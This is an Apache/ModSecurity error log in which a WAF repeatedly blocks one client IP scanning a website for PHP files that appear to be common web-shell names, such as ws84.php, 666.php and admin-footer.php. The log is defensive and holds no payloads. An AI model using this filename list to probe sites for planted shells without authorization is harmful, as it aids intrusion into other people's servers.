[Sun Mar 29 01:30:23.336143 2026] [:error] [pid 39514:tid 39544] [client 158.23.144.198:4756] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acgQLykUyvlQod6qQu2KbgAAANM"]
[Sun Mar 29 01:30:23.772214 2026] [:error] [pid 39427:tid 39440] [client 158.23.144.198:39986] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acgQL1vLf0RDUqcYq-Y9BgAAAAg"]
[Sun Mar 29 01:30:24.220746 2026] [:error] [pid 39427:tid 39452] [client 158.23.144.198:61941] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acgQMFvLf0RDUqcYq-Y9CAAAABQ"]
[Sun Mar 29 01:30:24.655698 2026] [:error] [pid 39427:tid 39445] [client 158.23.144.198:39978] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-act.php"] [unique_id "acgQMFvLf0RDUqcYq-Y9CwAAAA0"]
[Sun Mar 29 01:30:25.112380 2026] [:error] [pid 39514:tid 39540] [client 158.23.144.198:50000] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "acgQMSkUyvlQod6qQu2KcQAAAM8"]
[Sun Mar 29 01:30:25.551891 2026] [:error] [pid 39514:tid 39550] [client 158.23.144.198:36509] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "acgQMSkUyvlQod6qQu2KdAAAANg"]
[Sun Mar 29 01:30:25.967015 2026] [:error] [pid 39429:tid 39510] [client 158.23.144.198:39979] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "acgQMU8pSj6sqgZaItnWRgAAAJg"]
[Sun Mar 29 01:30:26.404992 2026] [:error] [pid 39514:tid 39540] [client 158.23.144.198:39947] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bjfl.php"] [unique_id "acgQMikUyvlQod6qQu2KewAAAM8"]
[Sun Mar 29 01:30:26.843167 2026] [:error] [pid 39514:tid 39547] [client 158.23.144.198:4805] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "acgQMikUyvlQod6qQu2KfQAAANY"]
[Sun Mar 29 01:30:27.291974 2026] [:error] [pid 39514:tid 39537] [client 158.23.144.198:37519] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "acgQMykUyvlQod6qQu2KgAAAAMw"]
[Sun Mar 29 01:30:27.710897 2026] [:error] [pid 39514:tid 39540] [client 158.23.144.198:4682] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "acgQMykUyvlQod6qQu2KggAAAM8"]
[Sun Mar 29 01:30:28.244219 2026] [:error] [pid 39514:tid 39531] [client 158.23.144.198:39940] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d12.php"] [unique_id "acgQNCkUyvlQod6qQu2KhgAAAMY"]
[Sun Mar 29 01:30:28.774295 2026] [:error] [pid 39514:tid 39536] [client 158.23.144.198:45550] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acgQNCkUyvlQod6qQu2KiQAAAMs"]
[Sun Mar 29 01:30:29.190962 2026] [:error] [pid 39427:tid 39444] [client 158.23.144.198:45547] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acgQNVvLf0RDUqcYq-Y9FQAAAAw"]
[Sun Mar 29 01:30:29.578996 2026] [:error] [pid 39514:tid 39542] [client 158.23.144.198:37603] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acgQNSkUyvlQod6qQu2KjQAAANE"]
[Sun Mar 29 01:30:30.140451 2026] [:error] [pid 39428:tid 39460] [client 158.23.144.198:61940] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws84.php"] [unique_id "acgQNqXMrozFMIaP8nL23wAAAEE"]
[Sun Mar 29 01:30:30.586047 2026] [:error] [pid 39514:tid 39533] [client 158.23.144.198:49492] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "acgQNikUyvlQod6qQu2KkQAAAMg"]
[Sun Mar 29 01:30:30.986661 2026] [:error] [pid 39428:tid 39476] [client 158.23.144.198:49487] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "acgQNqXMrozFMIaP8nL24AAAAFE"]
[Sun Mar 29 01:30:31.425993 2026] [:error] [pid 39514:tid 39543] [client 158.23.144.198:37575] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "acgQNykUyvlQod6qQu2KmQAAANI"]
[Sun Mar 29 01:30:31.981115 2026] [:error] [pid 39427:tid 39455] [client 158.23.144.198:45532] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/2ksm17n.php"] [unique_id "acgQN1vLf0RDUqcYq-Y9GAAAABc"]
[Sun Mar 29 01:30:32.551670 2026] [:error] [pid 39428:tid 39474] [client 158.23.144.198:61943] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "acgQOKXMrozFMIaP8nL24gAAAE8"]
[Sun Mar 29 01:30:33.028792 2026] [:error] [pid 39429:tid 39502] [client 158.23.144.198:4714] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "acgQOU8pSj6sqgZaItnWSQAAAJA"]
[Sun Mar 29 01:30:33.532705 2026] [:error] [pid 39514:tid 39550] [client 158.23.144.198:53787] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "acgQOSkUyvlQod6qQu2KnwAAANg"]
[Sun Mar 29 01:30:34.046819 2026] [:error] [pid 39429:tid 39501] [client 158.23.144.198:4812] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/a4.php"] [unique_id "acgQOk8pSj6sqgZaItnWTQAAAI8"]
[Sun Mar 29 01:30:34.472613 2026] [:error] [pid 39514:tid 39549] [client 158.23.144.198:4852] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "acgQOikUyvlQod6qQu2KpQAAANc"]
[Sun Mar 29 01:30:34.924092 2026] [:error] [pid 39514:tid 39538] [client 158.23.144.198:45538] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "acgQOikUyvlQod6qQu2KpgAAAM0"]
[Sun Mar 29 01:30:35.342985 2026] [:error] [pid 39514:tid 39536] [client 158.23.144.198:37615] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "acgQOykUyvlQod6qQu2KqAAAAMs"]
[Sun Mar 29 01:30:35.738574 2026] [:error] [pid 39514:tid 39550] [client 158.23.144.198:49488] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/s.php"] [unique_id "acgQOykUyvlQod6qQu2KqgAAANg"]
[Sun Mar 29 01:30:36.249003 2026] [:error] [pid 39514:tid 39529] [client 158.23.144.198:4844] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acgQPCkUyvlQod6qQu2KrAAAAMQ"]
[Sun Mar 29 01:30:36.682078 2026] [:error] [pid 39514:tid 39544] [client 158.23.144.198:36529] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acgQPCkUyvlQod6qQu2KrgAAANM"]
[Sun Mar 29 01:30:37.132614 2026] [:error] [pid 39514:tid 39549] [client 158.23.144.198:39954] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acgQPSkUyvlQod6qQu2KsgAAANc"]
[Sun Mar 29 01:30:37.572901 2026] [:error] [pid 39514:tid 39541] [client 158.23.144.198:37574] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws77.php"] [unique_id "acgQPSkUyvlQod6qQu2KtAAAANA"]
[Sun Mar 29 01:30:38.003062 2026] [:error] [pid 39514:tid 39542] [client 158.23.144.198:39974] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acgQPikUyvlQod6qQu2KtwAAANE"]
[Sun Mar 29 01:30:38.475103 2026] [:error] [pid 39514:tid 39535] [client 158.23.144.198:61945] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acgQPikUyvlQod6qQu2KuQAAAMo"]
[Sun Mar 29 01:30:38.902012 2026] [:error] [pid 39514:tid 39538] [client 158.23.144.198:61925] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acgQPikUyvlQod6qQu2KvwAAAM0"]
[Sun Mar 29 01:30:39.282591 2026] [:error] [pid 39514:tid 39541] [client 158.23.144.198:37567] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "acgQPykUyvlQod6qQu2KwgAAANA"]
[Sun Mar 29 01:30:39.693798 2026] [:error] [pid 39514:tid 39534] [client 158.23.144.198:4702] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amp.php"] [unique_id "acgQPykUyvlQod6qQu2KxAAAAMk"]
[Sun Mar 29 01:30:40.083079 2026] [:error] [pid 39514:tid 39530] [client 158.23.144.198:4845] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amp.php"] [unique_id "acgQQCkUyvlQod6qQu2KxQAAAMU"]
[Sun Mar 29 01:30:40.491966 2026] [:error] [pid 39514:tid 39531] [client 158.23.144.198:43574] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amp.php"] [unique_id "acgQQCkUyvlQod6qQu2KyAAAAMY"]
[Sun Mar 29 01:30:40.921645 2026] [:error] [pid 39514:tid 39539] [client 158.23.144.198:45541] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amp.php"] [unique_id "acgQQCkUyvlQod6qQu2KzAAAAM4"]
[Sun Mar 29 01:30:41.383657 2026] [:error] [pid 39428:tid 39470] [client 158.23.144.198:37609] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "acgQQaXMrozFMIaP8nL25QAAAEs"]
[Sun Mar 29 01:30:41.832640 2026] [:error] [pid 39427:tid 39450] [client 158.23.144.198:37587] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "acgQQVvLf0RDUqcYq-Y9JAAAABI"]
[Sun Mar 29 01:30:42.264439 2026] [:error] [pid 39427:tid 39446] [client 158.23.144.198:50027] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "acgQQlvLf0RDUqcYq-Y9JQAAAA4"]
[Sun Mar 29 01:30:42.683817 2026] [:error] [pid 39427:tid 39437] [client 158.23.144.198:49515] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ww.php"] [unique_id "acgQQlvLf0RDUqcYq-Y9JgAAAAU"]
[Sun Mar 29 01:30:43.094330 2026] [:error] [pid 39429:tid 39492] [client 158.23.144.198:37555] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "acgQQ08pSj6sqgZaItnWVwAAAIY"]
[Sun Mar 29 01:30:43.501390 2026] [:error] [pid 39429:tid 39496] [client 158.23.144.198:47499] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "acgQQ08pSj6sqgZaItnWWAAAAIo"]
[Sun Mar 29 01:30:43.908157 2026] [:error] [pid 39427:tid 39432] [client 158.23.144.198:45511] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "acgQQ1vLf0RDUqcYq-Y9KAAAAAA"]
[Sun Mar 29 01:30:44.379759 2026] [:error] [pid 39429:tid 39510] [client 158.23.144.198:4696] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rzki.php"] [unique_id "acgQRE8pSj6sqgZaItnWWgAAAJg"]
[Sun Mar 29 01:30:44.779519 2026] [:error] [pid 39514:tid 39537] [client 158.23.144.198:36510] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "acgQRCkUyvlQod6qQu2K0gAAAMw"]
[Sun Mar 29 01:30:45.185838 2026] [:error] [pid 39514:tid 39531] [client 158.23.144.198:45564] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "acgQRSkUyvlQod6qQu2K1QAAAMY"]
[Sun Mar 29 01:30:45.570048 2026] [:error] [pid 39514:tid 39544] [client 158.23.144.198:49486] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "acgQRSkUyvlQod6qQu2K2QAAANM"]
[Sun Mar 29 01:30:45.971679 2026] [:error] [pid 39514:tid 39539] [client 158.23.144.198:37554] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin-footer.php"] [unique_id "acgQRSkUyvlQod6qQu2K2wAAAM4"]
[Sun Mar 29 01:30:46.396587 2026] [:error] [pid 39429:tid 39504] [client 158.23.144.198:50040] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "acgQRk8pSj6sqgZaItnWWwAAAJI"]
[Sun Mar 29 01:30:46.791529 2026] [:error] [pid 39427:tid 39448] [client 158.23.144.198:37577] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "acgQRlvLf0RDUqcYq-Y9LQAAABA"]
[Sun Mar 29 01:30:47.219966 2026] [:error] [pid 39514:tid 39546] [client 158.23.144.198:4705] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "acgQRykUyvlQod6qQu2K5AAAANU"]
[Sun Mar 29 01:30:47.605156 2026] [:error] [pid 39514:tid 39545] [client 158.23.144.198:37600] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/666.php"] [unique_id "acgQRykUyvlQod6qQu2K5QAAANQ"]
[Sun Mar 29 01:30:48.026666 2026] [:error] [pid 39514:tid 39527] [client 158.23.144.198:61904] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/varb.php"] [unique_id "acgQSCkUyvlQod6qQu2K5gAAAMI"]
